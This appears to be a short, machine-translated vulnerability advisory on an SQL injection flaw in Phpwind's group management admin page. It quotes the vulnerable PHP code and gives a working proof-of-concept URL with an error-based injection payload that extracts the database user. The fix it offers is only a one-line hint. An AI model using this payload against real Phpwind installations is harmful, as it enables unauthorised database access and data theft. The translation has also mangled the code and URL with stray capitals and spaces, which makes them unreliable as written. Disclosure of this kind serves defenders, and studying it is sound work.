Phpwind (manage. php) SQL injection vulnerability and repair

Brief description:
Only small bugs can be exploited to obtain group administrator permissions.

Detailed description:
/Apps/group/admin/manage. php line 219

S: gp (array (ttable, ptable, page, cid, author, ckauthor, keyword, ktype, ttype, ckkeyword, postdate_s, postdate_e, orderby, SC,

Perpage, cname); // ttable

 

.....

If ($ ttype = 1 ){

$ Sqltab = pw_threads t;

$ Pw_tmsgs = pw_tmsgs. $ ttable ;//!

$ Tpre = tm;

$ Addpage. = "ttable = $ ttable &";

} Else {

$ Sqltab = GetPtable ($ ptable). t;

$ Addpage. = "ttype = 2 & ptable = $ ptable &";

}

......

If ($ keyword ){

$ Addpage. = "keyword = $ keyword & ktype = $ ktype & ckkeyword = $ ckkeyword &";

 

If ($ ckkeyword ){

$ K_ SQL = "=". S: sqlEscape ($ keyword );

} Else {

$ K_ SQL = "LIKE". S: sqlEscape (%. $ keyword. % );

}

If ($ ktype = subject ){

$ SQL. = "AND t. subject". $ k_ SQL;

} Else {

$ Ttype = 1 & $ sqltab. = "left join $ pw_tmsgs tm ON t. tid = tm. tid"; // $ pw_tmsgs

$ SQL. = "AND {$ tpre}. content". $ k_ SQL;

}

}
Proof of vulnerability:
/Admin. php? Adminjob = apps & admintype = groups_manage & action = argument & keyword = 1 & ttable =/**/tm ON t. tid = tm. tid left join ak_argument a ON t. tid =. tid left join ak_colonys c ON. cyid = c. id WHERE (SELECT 1 FROM (select count (*), concat (floor (rand (0) * 2), CONCAT (0x3a, (select user ()))) a from information_schema.tables group by a) B) % 23

Solution:
Preg_match
Or repair.
Hongke Network Security